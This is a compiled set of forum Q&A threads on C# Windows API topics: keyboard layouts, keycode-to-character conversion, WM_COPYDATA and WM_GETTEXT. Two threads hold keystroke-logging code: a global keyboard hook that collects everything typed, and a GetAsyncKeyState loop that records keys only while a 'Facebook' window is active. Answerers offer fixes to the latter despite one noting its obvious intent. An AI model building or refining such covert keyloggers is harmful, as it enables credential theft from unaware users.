Detected pressed key for current language layout c# - c#

I'm trying to get text which user type from keyboard. Everything seems working fine when I have English Keyboard Layout, bus when I change it into russian it does not work. I have used
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
{
int vkCode = Marshal.ReadInt32(lParam);
if ((Keys)vkCode == Keys.Enter || (Keys)vkCode == Keys.Tab || (Keys)vkCode == Keys.LButton || (Keys)vkCode == Keys.RButton)
WriteNewLine(_text);
else
if (ShiftKey)
_text += GetCharsFromKeys((Keys)vkCode, true, false);
else
_text += GetCharsFromKeys((Keys)vkCode, false, false);
}
return CallNextHookEx(_hookID, nCode, wParam, lParam);
}
This function gets key code. As you can see I call next function
static string GetCharsFromKeys(Keys keys, bool shift, bool altGr)
{
var buf = new StringBuilder(256);
var keyboardState = new byte[256];
if (shift)
keyboardState[(int)Keys.ShiftKey] = 0xff;
if (altGr)
{
keyboardState[(int)Keys.ControlKey] = 0xff;
keyboardState[(int)Keys.Menu] = 0xff;
}
ToUnicode((uint)keys, 0, keyboardState, buf, 256, 0);
return buf.ToString();
}
It returns actual key what user type. But it work only for ENG keyboard layout.
If you know how to add International keyboard layout handling, pls let me know.
P.S. When I enter :
Руский
I get :
Hecrbq

You need to use InstalledInputLanguages and CurrentInputLanguage. There is an example here that you can follow. I will copy the code here in case the link dies. This code is looking to recognize # symbol entry in the European keyboard so you would need to tweak it to meet your needs.
DllImport("user32.dll")]
public static extern short VkKeyScanEx(char ch, IntPtr dwhkl);
public static void GetKeyboardShortcutForChar(char c, InputLanguage lang, out Keys key, out bool shift)
{
var keyCode = VkKeyScanEx(c, lang.Handle);
key = (Keys) (keyCode & 0xFF);
shift = (keyCode & 0x100) == 0x100;
}
[DllImport("user32.dll", CharSet = CharSet.Unicode)]
public static extern int ToUnicodeEx(int wVirtKey, uint wScanCode, byte[] lpKeyState, StringBuilder pwszBuff, int cchBuff, uint wFlags, IntPtr dwhkl);
public static char? FromKeys(int keys, bool shift, bool capsLock)
{
var keyStates = new byte[256];
if (shift)
keyStates[16] = 0x80;
if (capsLock)
keyStates[20] = 0x80;
var sb = new StringBuilder(10);
int ret = User32.ToUnicodeEx(keys, 0, keyStates, sb, sb.Capacity, 0, InputLanguage.CurrentInputLanguage.Handle);
return ret == 1 ? (char?)sb[0] : null;
}

Related

C# to C++ CopyData API

I am developing an automation interface program and I looking to enhance capability with a machine software which uses a COPYDATA API aimed at C++. The goal is to control and report status of the machine through my own software.
The method uses pointers and memory allocation which I have not had any experience with thus far.
I have looked at a number of other sources, such as this with no luck at the moment. I have tried the following code to try and run a program on the machine software.
class Program
{
[DllImport("User32.dll", SetLastError = true, EntryPoint = "FindWindow")]
public static extern IntPtr FindWindow(String lpClassName, String lpWindowName);
[DllImport("User32.dll", SetLastError = true, EntryPoint = "SendMessage")]
public static extern IntPtr SendMessage(IntPtr hWnd, int Msg, int wParam, ref COPYDATASTRUCT lParam);
[StructLayout(LayoutKind.Sequential)]
public struct COPYDATASTRUCT
{
public IntPtr dwData; // Any value the sender chooses. Perhaps its main window handle?
public int cbData; // The count of bytes in the message.
public IntPtr lpData; // The address of the message.
}
const int WM_COPYDATA = 0x004A;
const int EXTERNAL_CD_COMMAND_RUN_ASYNC = 0x8001;
static void Main(string[] args)
{
Console.WriteLine("{0} bit process.", (IntPtr.Size == 4) ? "32" : "64");
Console.Write("Press ENTER to run test.");
Console.ReadLine();
IntPtr hwnd = FindWindow(null, "InSpecAppFrame");
Console.WriteLine("hwnd = {0:X}", hwnd.ToInt64());
var cds = new COPYDATASTRUCT();
byte[] buff = Encoding.ASCII.GetBytes("C:\\Users\\Desktop\\COPYDATATEST.iwp");
cds.dwData = (IntPtr)EXTERNAL_CD_COMMAND_RUN_ASYNC;
cds.lpData = Marshal.AllocHGlobal(buff.Length);
Marshal.Copy(buff, 0, cds.lpData, buff.Length);
cds.cbData = buff.Length;
var ret = SendMessage(hwnd, WM_COPYDATA, 0, ref cds);
Console.WriteLine("Return value is {0}", ret);
Marshal.FreeHGlobal(cds.lpData);
Console.ReadLine();
}
}
Running this code returns 0 for both hwnd and ret and the machine software does not react.
Sending a command is the first step, the next will be to try and get a response so I can monitor machine statuses etc.
As a sidenote to what Alejandro wrote (and that I think is correct), you can simplify a little the code, removing a copy of the data. You can directly "pin" your byte[]. It is important that you remember to "unpin" it (for this reason the try/finally block)
There is another potential problem in your code (a problem that I saw only on a second pass of the code): C strings must be \0 terminated (so "Foo" must be "Foo\0"). Your Encoding.ASCII doesn't guarantee a \0 termination. The classical way to do it is to make the byte[] "a little larger" than necessary. I've done the changes necessary.
[DllImport("User32.dll", SetLastError = true)]
public static extern IntPtr SendMessage(IntPtr hWnd, int Msg, int wParam, ref COPYDATASTRUCT lParam);
[DllImport("user32.dll", SetLastError = true)]
static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
[StructLayout(LayoutKind.Sequential)]
public struct COPYDATASTRUCT
{
public IntPtr dwData; // Any value the sender chooses. Perhaps its main window handle?
public int cbData; // The count of bytes in the message.
public IntPtr lpData; // The address of the message.
}
[StructLayout(LayoutKind.Sequential)]
public struct ExternalGetPositionType
{
public double X;
public double Y;
public double Z;
public double W;
}
const int WM_COPYDATA = 0x004A;
const int EXTERNAL_CD_COMMAND_RUN_ASYNC = 0x8001;
const int EXTERNAL_CD_GET_POSITION_PCS = 0x8011;
const int EXTERNAL_CD_GET_POSITION_MCS = 0x8012;
static void Main(string[] args)
{
Console.WriteLine("{0} bit process.", (IntPtr.Size == 4) ? "32" : "64");
Console.Write("Press ENTER to run test.");
Console.ReadLine();
IntPtr hwnd = FindWindow(null, "Form1");
Console.WriteLine("hwnd = {0:X}", hwnd.ToInt64());
if (hwnd == IntPtr.Zero)
{
throw new Exception("hwnd not found");
}
IntPtr ret = RunAsync(hwnd, #"C:\Users\Desktop\COPYDATATEST.iwp");
Console.WriteLine($"Return value for EXTERNAL_CD_COMMAND_RUN_ASYNC is {ret}");
ret = GetPosition(hwnd, true, new ExternalGetPositionType { X = 1, Y = 2, Z = 3, W = 4 });
Console.WriteLine($"Return value for EXTERNAL_CD_GET_POSITION_PCS is {ret}");
ret = GetPosition(hwnd, false, new ExternalGetPositionType { X = 10, Y = 20, Z = 30, W = 40 });
Console.WriteLine($"Return value for EXTERNAL_CD_GET_POSITION_MCS is {ret}");
Console.ReadLine();
}
public static IntPtr RunAsync(IntPtr hwnd, string str)
{
// We have to add a \0 terminator, so len + 1 / len + 2 for Unicode
int len = Encoding.Default.GetByteCount(str);
var buff = new byte[len + 1]; // len + 2 for Unicode
Encoding.Default.GetBytes(str, 0, str.Length, buff, 0);
IntPtr ret;
GCHandle h = default(GCHandle);
try
{
h = GCHandle.Alloc(buff, GCHandleType.Pinned);
var cds = new COPYDATASTRUCT();
cds.dwData = (IntPtr)EXTERNAL_CD_COMMAND_RUN_ASYNC;
cds.lpData = h.AddrOfPinnedObject();
cds.cbData = buff.Length;
ret = SendMessage(hwnd, WM_COPYDATA, 0, ref cds);
}
finally
{
if (h.IsAllocated)
{
h.Free();
}
}
return ret;
}
public static IntPtr GetPosition(IntPtr hwnd, bool pcs, ExternalGetPositionType position)
{
// We cheat here... It is much easier to pin an array than to copy around a struct
var positions = new[]
{
position
};
IntPtr ret;
GCHandle h = default(GCHandle);
try
{
h = GCHandle.Alloc(positions, GCHandleType.Pinned);
var cds = new COPYDATASTRUCT();
cds.dwData = pcs ? (IntPtr)EXTERNAL_CD_GET_POSITION_PCS : (IntPtr)EXTERNAL_CD_GET_POSITION_MCS;
cds.lpData = h.AddrOfPinnedObject();
cds.cbData = Marshal.SizeOf<ExternalGetPositionType>();
ret = SendMessage(hwnd, WM_COPYDATA, 0, ref cds);
}
finally
{
if (h.IsAllocated)
{
h.Free();
}
}
return ret;
}
Note even that instead of ASCII you can use the Default encoding, that is a little better.
If you want to receive the messages, in your Winforms do:
protected override void WndProc(ref Message m)
{
if (m.Msg == WM_COPYDATA)
{
COPYDATASTRUCT cds = Marshal.PtrToStructure<COPYDATASTRUCT>(m.LParam);
if (cds.dwData == (IntPtr)EXTERNAL_CD_COMMAND_RUN_ASYNC)
{
string str = Marshal.PtrToStringAnsi(cds.lpData);
Debug.WriteLine($"EXTERNAL_CD_COMMAND_RUN_ASYNC: {str}");
m.Result = (IntPtr)100; // If you want to return a value
}
else if (cds.dwData == (IntPtr)EXTERNAL_CD_GET_POSITION_PCS)
{
if (cds.cbData >= Marshal.SizeOf<ExternalGetPositionType>())
{
var position = Marshal.PtrToStructure<ExternalGetPositionType>(cds.lpData);
Debug.WriteLine($"EXTERNAL_CD_GET_POSITION_PCS: X = {position.X}, Y = {position.Y}, Z = {position.Z}, W = {position.W}");
m.Result = (IntPtr)200;
}
else
{
m.Result = (IntPtr)0;
}
}
else if (cds.dwData == (IntPtr)EXTERNAL_CD_GET_POSITION_MCS)
{
if (cds.cbData >= Marshal.SizeOf<ExternalGetPositionType>())
{
var position = Marshal.PtrToStructure<ExternalGetPositionType>(cds.lpData);
Debug.WriteLine($"EXTERNAL_CD_GET_POSITION_MCS: X = {position.X}, Y = {position.Y}, Z = {position.Z}, W = {position.W}");
m.Result = (IntPtr)300;
}
else
{
m.Result = (IntPtr)0;
}
}
return;
}
base.WndProc(ref m);
}
Note that if you control both the sender AND the receiver, it is better much better to use Unicode for the string parameter. You'll have to modify both the sender and the receiver: Encoding.Unicode.GetByteCount/Encoding.Unicode.GetBytes, the +2 instead of +1 and Marshal.PtrToStringUni.

GetAsyncKeyState not capturing keys in right order

I Have the below code which captures key strokes if the Active Window Title contains "Facebook", however, when testing... i'm not getting the exact order of keys pressed and some keys get missed... what can i do to improve upon this?
For example: if i type "ALI" i will get "AIL" Printed out
[DllImport("user32.dll")]
public static extern int GetAsyncKeyState(Int32 i);
[DllImport("user32.dll")]
private static extern IntPtr GetForegroundWindow();
[DllImport("user32.dll")]
static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count);
static void Main(string[] args)
{
while (true)
{
string WindowTitle = GetActiveWindowTitle();
if (WindowTitle == null)
return;
if (WindowTitle.Contains("Facebook"))
{
for (int i = 0; i < 255; i++)
{
int state = GetAsyncKeyState(i);
if (state == 1 || state == -32767)
{
Console.WriteLine((Keys)i);
}
}
}
Thread.Sleep(1000);
}
}
private static string GetActiveWindowTitle()
{
const int chars = 256;
StringBuilder buff = new StringBuilder(chars);
IntPtr handle = GetForegroundWindow();
if (GetWindowText(handle, buff, chars) > 0)
{
return buff.ToString();
}
return null;
}
Reduce interval from 1s to 5ms for starters... Thread.Sleep(5);
And even with that,when you start typing really fast,keystrokes will still get permuted and\or missing,I'm not qualified enough to explain why. Btw,your intention is way too obvious,that's why nobody wants to answer your question.
Change these:
[DllImport("user32.dll")]
public static extern ushort GetAsyncKeyState(Int32 i);
and
if ((state & 0x0001) != 0 || (state & 0x8000) != 0 )
{
Console.WriteLine((Keys)i);
}
but unsure if it is going to work?

Detect single quote key on KeyDown event

I want a TextBox to only accept some specific characters by using the KeyDown event. I've already got it working, except for one character, the single quote. To get the character that will be written I use (char)e.KeyValue which works for all the characters except the quote (it gives Û). I know I could just use e.KeyCode but it's value is Keys.Oem4, which AFAIK might be different across systems.
Is there any way of consistently detecting a single quote key press?
Code snippet:
char c = (char)e.KeyValue;
char[] moves = { 'r', 'u', ..., '\'' };
if (!(moves.Contains(c) || e.KeyCode == Keys.Back || e.KeyCode == Keys.Space))
{
e.SuppressKeyPress = true;
}
I have been using this for a long time. It handles single quotes just fine. e.KeyChar == 39 '\'' and e.Handled = true behaves exactly as you would expect. I tested it with the KeyPress event and works there too.
protected override void OnKeyPress(KeyPressEventArgs e)
{
base.OnKeyPress(e);
if (e.KeyChar == (char)8) // backspace
return;
if (e.KeyChar == (char)3) // ctrl + c
return;
if (e.KeyChar == (char)22) // ctrl + v
return;
typedkey = true;
if (_allowedCharacters.Count > 0) // if the string of allowed characters is not empty, skip test if empty
{
if (!_allowedCharacters.Contains(e.KeyChar)) // if the new character is not in allowed set,
{
e.Handled = true; // ignoring it
return;
}
}
if (_disallowedCharacters.Count > 0) // if the string of allowed characters is not empty, skip test if empty
{
if (_disallowedCharacters.Contains(e.KeyChar)) // if the new character is in disallowed set,
{
e.Handled = true; // ignoring it
return;
}
}
}
As #EdPlunkett suggested, this answer works for me:
[DllImport("user32.dll")]
static extern bool GetKeyboardState(byte[] lpKeyState);
[DllImport("user32.dll")]
static extern uint MapVirtualKey(uint uCode, uint uMapType);
[DllImport("user32.dll")]
static extern IntPtr GetKeyboardLayout(uint idThread);
[DllImport("user32.dll")]
static extern int ToUnicodeEx(uint wVirtKey, uint wScanCode, byte[] lpKeyState, [Out, MarshalAs(UnmanagedType.LPWStr)] StringBuilder pwszBuff, int cchBuff, uint wFlags, IntPtr dwhkl);
public static string KeyCodeToUnicode(System.Windows.Forms.Keys key)
{
byte[] keyboardState = new byte[255];
bool keyboardStateStatus = GetKeyboardState(keyboardState);
if (!keyboardStateStatus)
{
return "";
}
uint virtualKeyCode = (uint)key;
uint scanCode = MapVirtualKey(virtualKeyCode, 0);
IntPtr inputLocaleIdentifier = GetKeyboardLayout(0);
StringBuilder result = new StringBuilder();
ToUnicodeEx(virtualKeyCode, scanCode, keyboardState, result, (int)5, (uint)0, inputLocaleIdentifier);
return result.ToString();
}

Convert keycode to char/string

I'm trying to convert System.Windows.Forms.Keys to string/char using :
KeysConverter converter = new KeysConverter();
string text = converter.ConvertToString(keyCode);
Console.WriteLine(text);
But it returned "OemPeriod" for "." and "Oemcomma" for ",". Is there any way to get the exact character?
What you are trying to achieve is no trivial task by any means. There is the keyboard mapping (keyboard layout) that windows (for example) uses to translate keyboard keys to actual characters. Here is how I was able to achieve this:
public string KeyCodeToUnicode(Keys key)
{
byte[] keyboardState = new byte[255];
bool keyboardStateStatus = GetKeyboardState(keyboardState);
if (!keyboardStateStatus)
{
return "";
}
uint virtualKeyCode = (uint)key;
uint scanCode = MapVirtualKey(virtualKeyCode, 0);
IntPtr inputLocaleIdentifier = GetKeyboardLayout(0);
StringBuilder result = new StringBuilder();
ToUnicodeEx(virtualKeyCode, scanCode, keyboardState, result, (int)5, (uint)0, inputLocaleIdentifier);
return result.ToString();
}
[DllImport("user32.dll")]
static extern bool GetKeyboardState(byte[] lpKeyState);
[DllImport("user32.dll")]
static extern uint MapVirtualKey(uint uCode, uint uMapType);
[DllImport("user32.dll")]
static extern IntPtr GetKeyboardLayout(uint idThread);
[DllImport("user32.dll")]
static extern int ToUnicodeEx(uint wVirtKey, uint wScanCode, byte[] lpKeyState, [Out, MarshalAs(UnmanagedType.LPWStr)] StringBuilder pwszBuff, int cchBuff, uint wFlags, IntPtr dwhkl);
This is probably what you really want (bit late, but hope this will help someone else), converting the keycode directly to the character the key prints.
First add this directive into your class:
[DllImport("user32.dll", CharSet = CharSet.Unicode)]
public static extern int ToUnicode(
uint virtualKeyCode,
uint scanCode,
byte[] keyboardState,
StringBuilder receivingBuffer,
int bufferSize,
uint flags
);
Then use this if you just want to ignore the shift modifier
StringBuilder charPressed = new StringBuilder(256);
ToUnicode((uint)keyCode, 0, new byte[256], charPressed, charPressed.Capacity, 0);
Now just call charPressed.ToString() to get your key.
If you want the shift modifier, you can use something like this to make it easier
static string GetCharsFromKeys(Keys keys, bool shift)
{
var buf = new StringBuilder(256);
var keyboardState = new byte[256];
if (shift)
{
keyboardState[(int)Keys.ShiftKey] = 0xff;
}
ToUnicode((uint)keys, 0, keyboardState, buf, 256, 0);
return buf.ToString();
}
since there is "console-application" in your question tags, try this
ConsoleKeyInfo input = Console.ReadKey(true);
StringBuilder output = new StringBuilder(
String.Format("You pressed {0}", input.KeyChar));
Console.WriteLine(output.ToString());
Those are the correct and expected names for the comma and period keys on your keyboard. You can see that clearly from the documentation. The KeysConverter class is behaving as expected and as designed.
If you want to come up with a different name for those keys you can detect them and substitute the name that you desire to use. For instance:
string name;
switch (e.KeyCode)
{
case Keys.Oemcomma:
name = "Comma";
break;
case Keys.OemPeriod:
name = "Period";
break;
default:
name = (new KeysConverter()).ConvertToString(e.KeyCode);
break;
}

How to get the text of a window with a timeout?

I'm currently in the process of porting a C++ app to C# and having trouble converting this particular function.
This function gets the text / title of the given window handle.
I figured out the important parts are the 2 calls to SendMessageTimeoutW which get the text of the window I'm assuming, but I can't figure out the rest.
I also can't find any P/Invoke signature for the UTF-16 function SendMessageTimeoutW, so will a call to SendMessageTimeout be equivalent, as shown in this post?
public static unsafe string GetWindowText(IntPtr hWnd)
{
// THIS PART MAY NOT BE NEEDED
string str2 = null;
WinHookEx* exPtr3;
WinHookEx* exPtr = #new(4);
try
{
exPtr3 = (exPtr == null) ? null : WinHookEx.{ctor}(exPtr);
}
fault
{
delete((void*) exPtr);
}
WinHookEx* exPtr2 = exPtr3;
*((int*) exPtr2) = hWnd.ToPointer();
HWND__* hwnd__Ptr = (HWND__*) hWnd.ToPointer();
uint modopt(IsLong) num = 0;
delete((void*) exPtr2);
// 1st call to SendMessageTimeoutW
if (SendMessageTimeoutW(hwnd__Ptr, 14, 0, 0, 2, 0x3e8, &num) == 0)
{
return null;
}
// whats happening here?
num++;
uint modopt(IsLong) num2 = num;
char* chPtr = #new((num2 > 0x7fffffff) ? uint.MaxValue : ((uint) (num2 * 2)));
chPtr[0] = '\0';
// 2nd call to SendMessageTimeoutW
if (SendMessageTimeoutW(hwnd__Ptr, 13, num, (int modopt(IsLong)) chPtr, 2, 0x3e8, &num) == 0)
{
return null;
}
str2 = new string(chPtr);
delete((void*) chPtr);
return str2;
}
I have tentatively ported this function to C# but it always returns a blank string.
I even tried initing the string builder with new StringBuilder(256) but it still doesn't work.
What have I done wrong?
public static unsafe string GetWindowText(IntPtr hWnd){
// send WM_GETTEXTLENGTH
if (SendMessageTimeout(hWnd, 14, 0, 0, 2, 0x3e8, IntPtr.Zero) == 0){
return null;
}
// send WM_GETTEXT
StringBuilder sb = new StringBuilder();
if (SendMessageTimeout(hWnd, 13, 0, sb, 2, 0x3e8, IntPtr.Zero) == 0){
return null;
}
return sb.ToString();
}
For WM_GETTEXT, wParam (the third parameter to SendMessageTimeout) is
The maximum number of characters to be copied, including the terminating null character.
You're passing zero.
Also, you're calling WM_GETTEXTLENGTH but not using the return value:
The return value is the length of the text in characters, not including the terminating null character.
Use that to specify the initial size of the StringBuilder. I just confirmed this to work:
static void Main(string[] args) {
var p = Process.GetProcessById(3484);
var h = p.MainWindowHandle;
string s = GetWindowTextTimeout(h, 100 /*msec*/);
}
[DllImport("User32.dll", SetLastError = true)]
public unsafe static extern int SendMessageTimeout(
IntPtr hWnd,
uint uMsg,
uint wParam,
StringBuilder lParam,
uint fuFlags,
uint uTimeout,
void* lpdwResult);
const int WM_GETTEXT = 0x000D;
const int WM_GETTEXTLENGTH = 0x000E;
public static unsafe string GetWindowTextTimeout(IntPtr hWnd, uint timeout)
{
int length;
if (SendMessageTimeout(hWnd, WM_GETTEXTLENGTH, 0, null, 2, timeout, &length) == 0) {
return null;
}
if (length == 0) {
return null;
}
StringBuilder sb = new StringBuilder(length + 1); // leave room for null-terminator
if (SendMessageTimeout(hWnd, WM_GETTEXT, (uint)sb.Capacity, sb, 2, timeout, null) == 0) {
return null;
}
return sb.ToString();
}
You need to pass the length of the buffer.
int size;
SendMessageTimeout((int)hWnd, WM_GETTEXTLENGTH, 0, 0, 2, 0x3e8, &size).ToInt32();
if (size > 0)
{
StringBuilder sb = new StringBuilder(size + 1);
SendMessageTimeout(hWnd, WM_GETTEXT, sb.Capacity, sb, 2, 0x3e8, IntPtr.Zero)
}

Categories

Resources